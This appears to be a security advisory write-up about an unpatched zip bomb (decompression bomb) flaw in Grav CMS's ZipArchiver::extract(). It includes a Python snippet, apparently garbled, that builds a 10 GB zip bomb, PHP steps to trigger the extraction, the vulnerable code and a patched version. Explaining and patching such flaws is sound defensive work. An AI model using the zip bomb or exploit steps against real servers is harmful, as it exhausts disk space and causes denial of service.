Listen to this Post
The vulnerability resides in Grav CMS’s ZipArchiver::extract() method, which lacks any limits on decompressed size, file count, or nesting depth when processing ZIP archives. This creates a distinct, unpatched variant of the previously addressed GHSA-2vcx-h8p2-9pg9 issue, which was fixed in Installer::unZip(). The Installer method now validates every entry before extraction, enforcing a maximum uncompressed size of 1 GiB, a file count limit of 50,000, and a nesting depth of 48. However, ZipArchiver::extract() follows a different code path: it only checks for path traversal (Zip Slip) via isSafeEntryPath(), then immediately calls $zip->extractTo() without any pre‑extraction validation. This means a malicious ZIP archive can contain a 10 GB file (compressed to only 42 KB) that, when extracted, will expand to fill the available disk space. The method is public and accessible via the Archiver::create(‘zip’) factory, so any third‑party plugin or custom code that uses this abstraction for ZIP restoration is vulnerable. Although no first‑party Grav core code calls extract() directly, the attack surface exists for extensions that handle user‑supplied ZIP files. The server’s disk can be completely filled, leading to a denial of service that may also affect the web root if on the same partition. The vulnerability is a classic decompression bomb, and the missing guards are identical to those already implemented in the secure Installer path, making the fix straightforward.
DailyCVE Form:
Platform: Grav CMS (all versions with ZipArchiver)
Version: All versions up to current (no patch yet)
Vulnerability : Unrestricted archive extraction (zip bomb)
Severity: Medium (DoS)
date: 2026-09-03
Prediction: Patch expected with next Grav CMS release (unknown date)
What Undercode Say:
Create a 10 GB zip bomb (42 kB compressed)
python3 -c "
import zipfile, os
z = zipfile.ZipFile('/tmp/zipbomb.zip', 'w', zipfile.ZIP_DEFLATED)
zeros = b'\x00' (1024 1024 1024) 1 GB
for i in range(10):
z.writestr(f'file_{i}.txt', zeros)
z.close()
"
ls -lh /tmp/zipbomb.zip
Output: 42K /tmp/zipbomb.zip → expands to 10 GB
// Vulnerable code – system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58
public function extract($destination, ?callable $status = null)
{
$zip = new ZipArchive();
$archive = $zip->open($this->archive_file);
if ($archive === true) {
Folder::create($destination);
// Only guards against Zip Slip
for ($i = 0, $count = $zip->count(); $i < $count; $i++) {
$name = $zip->getNameIndex($i);
if ($name !== false && !$this->isSafeEntryPath($name)) {
$zip->close();
throw new RuntimeException(...);
}
}
// Extracts EVERYTHING — no size, count, or depth limit
if (!$zip->extractTo($destination)) { ... }
$zip->close();
return $this;
}
}
Exploit: (Educational Purposes!)
Step 1 – Generate a zip bomb using Python as shown above.
Step 2 – In a Grav environment, trigger extraction via:
$archiver = Archiver::create('zip');
$archiver->setArchive('/tmp/zipbomb.zip');
$archiver->extract('/tmp/extracted'); // No limits – disk fills
The server will attempt to write 10 GB of data, exhausting free space and causing a denial of service.
Protection:
Apply the same archiveLimits() validation used in Installer::unZip() to ZipArchiver::extract(). Add pre‑extraction checks for total size, file count, and nesting depth, rejecting the archive if any limit is exceeded before calling extractTo(). Example fix:
public function extract($destination, ?callable $status = null)
{
$zip = new ZipArchive();
$archive = $zip->open($this->archive_file);
if ($archive === true) {
Folder::create($destination);
$limits = $this->archiveLimits();
$totalSize = 0;
$totalFiles = 0;
for ($i = 0, $count = $zip->count(); $i < $count; $i++) {
$name = $zip->getNameIndex($i);
if ($name === false) continue;
if (!$this->isSafeEntryPath($name)) {
$zip->close();
throw new RuntimeException('Zip Slip detected');
}
$stat = $zip->statIndex($i);
$totalSize += $stat['size'] ?? 0;
$totalFiles++;
$depth = count(explode('/', trim($name, '/')));
if ($limits['maxDepth'] > 0 && $depth > $limits['maxDepth']) {
$zip->close();
throw new RuntimeException('Max nesting depth exceeded');
}
}
if ($limits['maxSize'] > 0 && $totalSize > $limits['maxSize']) {
$zip->close();
throw new RuntimeException('Max uncompressed size exceeded');
}
if ($limits['maxFiles'] > 0 && $totalFiles > $limits['maxFiles']) {
$zip->close();
throw new RuntimeException('Max file count exceeded');
}
if (!$zip->extractTo($destination)) { ... }
$zip->close();
return $this;
}
}
Impact:
Successful exploitation fills the server’s disk with arbitrary data, causing a denial of service. If the extraction directory shares a partition with the web root, the entire Grav site becomes unavailable. The attack requires only a small ZIP file (≈42 KB) to trigger, making it a low‑cost, high‑impact vector for any third‑party plugin or custom code that uses ZipArchiver::extract() with user‑controlled input.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

